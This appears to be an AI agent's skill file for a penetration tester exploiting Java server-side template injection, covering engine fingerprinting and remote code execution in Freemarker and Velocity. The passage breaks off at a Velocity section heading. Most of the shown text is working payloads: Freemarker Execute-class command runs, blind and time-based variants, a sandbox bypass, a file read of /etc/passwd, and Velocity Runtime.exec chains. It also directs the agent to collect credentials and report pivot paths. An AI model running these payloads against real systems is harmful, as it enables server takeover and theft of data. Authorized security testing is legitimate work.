/ssti-freemarker

name: ssti-freemarker
description: >
  Guide Freemarker/Java server-side template injection exploitation during
  authorized penetration testing.
keywords:
  - Freemarker SSTI
  - Java template injection
  - Velocity SSTI
  - Thymeleaf SSTI
  - Pebble SSTI
  - Spring EL injection
  - SpEL injection
  - Java EL injection
  - Expression Language injection
  - Groovy SSTI
  - ${7*7} returns 49 in Java
  - Jinjava SSTI
  - HubL injection
tools:
  - burpsuite
  - sstimap
  - tplmap
opsec: medium

Freemarker / Java SSTI

You are helping a penetration tester exploit server-side template injection in a Java application. The target uses Freemarker, Velocity, Thymeleaf, Pebble, Spring Expression Language (SpEL), Groovy, or Java EL and processes attacker-controlled input through the template/expression engine without proper sanitization. The goal is to escalate from expression evaluation to remote code execution or file access. All testing is under explicit written authorization.

Engagement Logging

Check for `./engagement/` directory. If absent, proceed without logging.

When an engagement directory exists:

• Print `[ssti-freemarker] Activated → <target>` to the screen on activation.
• **Evidence** → save significant output to `engagement/evidence/` with

descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).

State Management

Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:

• Skip re-testing targets, parameters, or vulns already confirmed
• Leverage existing credentials or access for this technique
• Understand what's been tried and failed (check Blocked section)

Your return summary must include:

• New targets/hosts discovered (with ports and services)
• New credentials or tokens found
• Access gained or changed (user, privilege level, method)
• Vulnerabilities confirmed (with status and severity)
• Pivot paths identified (what leads where)
• Blocked items (what failed and why, whether retryable)

Prerequisites

• Confirmed template expression evaluation: `${7*7}` returns `49`, or

`{{7*7}}` returns `49` in a Java context

• Multiple expression syntaxes exist in Java: `${ }`, `#{ }`, `*{ }`, `@{ }`,

`~{ }`, `[= ]`, `[[ ]]` — test all if one fails

• If `{{7*'7'}}` returns `7777777` or `49`, the engine is likely Python (Jinja2)

or PHP (Twig), not Java

Step 1: Assess

If not already provided, determine: 1. **Framework** — Spring Boot, Struts, JSF, XWiki, HubSpot, or custom 2. **Template engine** — Freemarker, Velocity, Thymeleaf, Pebble, SpEL, Groovy, Java EL 3. **Injection point** — URL param, form field, error page, PDF/email template 4. **Expression syntax** — which delimiters work? (`${}`, `#{}`, `*{}`, `[=]`)

Skip if context was already provided.

Step 2: Engine Identification

Detection by Error Messages

Inject `(1/0).zxy.zxy` inside template tags. The error reveals the language:

| Error | Engine | |---|---| | `java.lang.ArithmeticException` | Java EL / SpEL | | `Arithmetic operation failed` | Freemarker | | No error, but `0` returned | Velocity (silently handles division) |

Detection by Syntax

| Payload | Result | Engine | |---|---|---| | `${7*7}` → `49` | Freemarker, SpEL, Java EL, Groovy | | `#{7*7}` → `49` | Freemarker (legacy), Thymeleaf, Java EL | | `[=7*7]` → `49` | Freemarker (alternative syntax, >= 2.3.4) | | `*{7*7}` → `49` | Spring/Thymeleaf | | `[[${7*7}]]` → `49` | Thymeleaf (expression inlining) | | `${7*'7'}` → nothing/error | Freemarker (doesn't do string repetition) | | `${foobar}` → empty | Freemarker (undefined vars return empty) | | `{{ someString.toUpperCase() }}` → works | Pebble | | `{{'a'.toUpperCase()}}` → `A` | Jinjava / HubL |

Freemarker Quick Confirmation

${"freemarker.template.utility.Execute"?new()("id")}

If this returns command output, the engine is Freemarker with no sandbox.

Step 3: RCE — Freemarker

Execute Class (most reliable)

<#assign ex = "freemarker.template.utility.Execute"?new()>${ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

Alternative syntax variants:

#{"freemarker.template.utility.Execute"?new()("id")}
[="freemarker.template.utility.Execute"?new()("id")]

File Reading

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(" ")}

Convert the returned byte values to ASCII.

Blind / Error-Based

# Error-Based
${("xx"+("freemarker.template.utility.Execute"?new()("id")))?new()}

# Boolean-Based
${1/(("freemarker.template.utility.Execute"?new()("id && echo UniqueString"))?chop_linebreak?ends_with("UniqueString"))?string('1','0')?eval}

# Time-Based
${"freemarker.template.utility.Execute"?new()("id && sleep 5")}

Sandbox Bypass (Freemarker < 2.3.30)

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

Step 4: RCE — Velocity

Classic Payload

#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

Alternative (via string class reflection)

#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("id"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor())
#foreach($i in [1..$out.available()])
$out.read()
#end

Error-Based (Velocity)